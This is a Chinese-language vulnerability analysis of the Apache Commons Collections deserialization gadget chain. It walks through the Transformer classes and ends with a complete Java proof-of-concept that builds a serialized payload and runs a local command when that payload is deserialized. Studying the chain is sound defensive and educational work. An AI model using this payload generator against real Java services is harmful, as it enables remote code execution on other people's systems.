0x01 漏洞描述
Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使用了Apache Commons Collections工具库,当该工具库出现反序列化漏洞时,这些应用也受到了影响。
反序列化攻击成功的关键在于我们可以传入可控的反序列数据,并且目标存在可被利用的攻击链。这里以P牛的CC链为例,分析反序列化漏洞。CC链只能在 jdk 8u71 之前的版本使用。jdk8u71版本中改写了sun.reflect.annotation.AnnotationInvocationHandler类的readObject方法。
0x02 漏洞分析
CC反序列化攻击链的关键在于Transformer接口,提供了transform方法,该攻击链便由实现该接口的四个类:ConstantTransformer
、invokerTransformer
、ChainedTransformer
、TransformedMap
ConstantTransformer
简化后的ConstantTransformer
类如下,该类进行常量转换,转换的逻辑也非常的简单:传入对象不会经过任何改变直接返回。该类的transform方法会返回构造函数传入的对象本身,跟调用该方法传入的参数无关。
public class ConstantTransformer implements Transformer, Serializable {
/** The closures to call in turn */
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}
invokerTransformer
简化的invokerTransformer
类如下,InvokerTransformer类transform方法实现了类方法动态调用,即采用反射机制动态调用类方法(反射方法名、参数值均可控)并返回该方法执行结果。可能理解起来会有点困难,该方法相当于只是将调用方法的方式变更成了用反射的方式,其实跟直接调用逻辑并没有什么不同。
public class InvokerTransformer implements Transformer, Serializable {
/** 要调用的方法名称 */
private final String iMethodName;
/** 反射参数类型数组 */
private final Class[] iParamTypes;
/** 反射参数值数组 */
private final Object[] iArgs;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
// 获取输入类的类对象
Class cls = input.getClass();
// 通过输入的方法名和方法参数,获取指定的反射方法对象
Method method = cls.getMethod(iMethodName, iParamTypes);
// 反射调用指定的方法并返回方法调用结果
return method.invoke(input, iArgs);
} catch (Exception ex) {
// 省去异常处理部分代码
}
}
}
例如本地调用计算器,在构造函数的时候传入要反射调用的方法名和参数,在调用transform方法时才传入具体的类。相当于:Runtime.getRuntime().exec("calc.exe")
,返回值为Process对象。
public static void main(String[] args) {
// 定义需要执行的本地系统命令
String cmd = "calc.exe";
// 构建transformer对象
InvokerTransformer transformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{cmd}
);
// 传入Runtime实例,执行对象转换操作
transformer.transform(Runtime.getRuntime());
}
ChainedTransformer
ChainedTransformer
类封装了Transformer的链式调用,在构造时需要传入一个Transformer数组,ChainedTransformer就会依次调用每一个Transformer的transform方法。简化后的类如下:
public class ChainedTransformer implements Transformer, Serializable {
/** The transformers to call in turn */
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}
使用ChainedTransformer构造本地调用计算器实例:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 执行对象转换操作
Object transform = transformedChain.transform(null);
- 第一个ConstantTransformer.transform()方法:
- 参数:null
- 返回值:Runtime.class
- 第二个InvokerTransformer.transform()方法:
- 参数:Runtime.class
- Method method = Runtime.class.getMethod(“getRuntime”)
- 返回值:java.lang.reflect.method对象
- 第三个InvokerTransformer.transform()方法:
- 参数:java.lang.reflect.Method method
- Runtime runtime = method.invoke(null) //此处需要注意invoke()方法传入参数为null
- 返回值:Runtime对象
- 第四个InvokerTransformer.transform()方法:
- 参数:Runtime对象
- Process process = runtime.exec(cmd)
- 返回值:Process对象
对于步骤3中invoke()传入对象为null。因为method.invoke的第一个参数必须是类实例对象,如果调用的是static方法那么第一个参数值可以传null,因为在java中调用静态方法是不需要有类实例的,因为可以直接类名.方法名(参数)的方式调用。实际调用的静态方法:public static Runtime getRuntime()
TransformedMap
TransformedMap
类间接的实现了java.util.Map接口,同时支持对Map的key或者value进行Transformer转换,调用decorate和decorateTransform方法就可以创建一个TransformedMap,只要调用TransformedMap的setValue/put/putAll中的任意方法都会调用InvokerTransformer类的transform方法,使用TransformedMap触发transform方法:
public static void transformmapTest(){
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 创建Map对象
Map map = new HashMap();
map.put("value", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
// transformedMap.put("v1", "v2");// 执行put也会触发transform
// 遍历Map元素,并调用setValue方法
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
// setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
entry.setValue("test");
}
System.out.println(transformedMap);
}
跟进setValue()方法,会跟到checkSetValue()方法,该方法会对valueTransformer即我们传入的ChainedTransformer调用transform()方法。<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/479381/1649249920983-b882f34c-45ca-4c2a-8ce3-5f973d39971c.png#clientId=u9d84d4b0-15fc-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=106&id=uf56a6503&margin=%5Bobject%20Object%5D&name=image.png&originHeight=211&originWidth=1285&originalType=binary&ratio=1&rotation=0&showTitle=false&size=32512&status=done&style=shadow&taskId=ua7e20fa5-4867-40cd-9ff7-ea30f91cb2f&title=&width=642.5)<br />由于我们的ChainedTransformer中第一个Transformer是ConstantTransformer,其transform方法传入任何参数都是没有意义的,也就不会影响到攻击链。
AnnotationInvocationHandler
sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,它还重写了readObject方法,在readObject方法中还间接的调用了TransformedMap中MapEntry的setValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。
完整的demo如下:
public static void demo(){
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 创建Map对象
Map map = new HashMap();
map.put("value", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
try {
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 设置构造方法的访问权限
constructor.setAccessible(true);
// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Retention.class, transformedMap);
// 创建用于存储payload的二进制输出流对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
// 创建Java对象序列化输出流对象
ObjectOutputStream out = new ObjectOutputStream(baos);
// 序列化AnnotationInvocationHandler类
out.writeObject(instance);
out.flush();
out.close();
// 获取序列化的二进制数组
byte[] bytes = baos.toByteArray();
// 输出序列化的二进制数组
System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));
// 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
ObjectInputStream in = new ObjectInputStream(bais);
// 模拟远程的反序列化过程
in.readObject();
// 关闭ObjectInputStream输入流
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
其中创建AnnotationInvocationHandler对象时,传入的第一个参数为Repeatable.class、Retention.class或Target.class都可。同时,创建Hashmap时传入的key必须为value,为类中的方法名称。